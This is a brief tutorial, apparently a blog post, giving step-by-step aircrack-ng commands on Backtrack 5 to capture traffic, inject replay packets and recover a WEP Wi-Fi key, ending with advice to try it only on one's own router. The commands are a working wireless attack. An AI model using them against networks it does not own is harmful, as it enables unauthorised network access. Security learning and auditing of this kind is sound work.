How to crack WEP via Backtrack 5

1. Check for WLAN interface
ifconfig
iwconfig
airmon-ng


2. Start MONITORING on WLAN interface


airmon-ng start (WLAN interface)
=> airmon-ng start wlan0

3. Now a new MONITOR interface is created (mon0). Sniff existing WiFi network.

airodump-ng mon0

Now, you can see all the BSSID and also clients connecting to the AP. Choose a WEP BSSID to crack.

Keep track of the BSSID, channel and Data.

Type Ctrl+C to stop scan

4. Time to scan the specific BSSID.

Open a new Terminal.

airodump-ng -w wep -c (channel no) --bssid (bssid) (monitor interface)
=> airodump-ng -w wep -c 6 --bssid 90:32:00:00:44:11 mon0


5. Associating aireplay with mon0

Open a new Terminal.

aireplay-ng -1 0 -a (bssid) (monitoring interface)
=> aireplay-ng -1 0 -a 90:32:00:00:44:11 mon0

6. Sending Packets to the BSSID and gathering back Packets for decrypting the WEP key.

Open a new Terminal

aireplay-ng -3 -b (bssid) (monitor interface)
=> aireplay-ng -3 -b 90:32:00:00:44:11 mon0


7. Time to decrypt the WEP key.

Go back to the Terminal of Item "4" (Scanning specific BSSID).

Check to see if Beacon or Data has reached 3,000 packets. The previous Item will increase the packet amount.

Open a new Terminal

aircrack-ng wep-01.cap

The WEP key is beside the key found. Just drop the colon :

Have a good try on your own WiFi Router. Do not try it on other WiFi AP.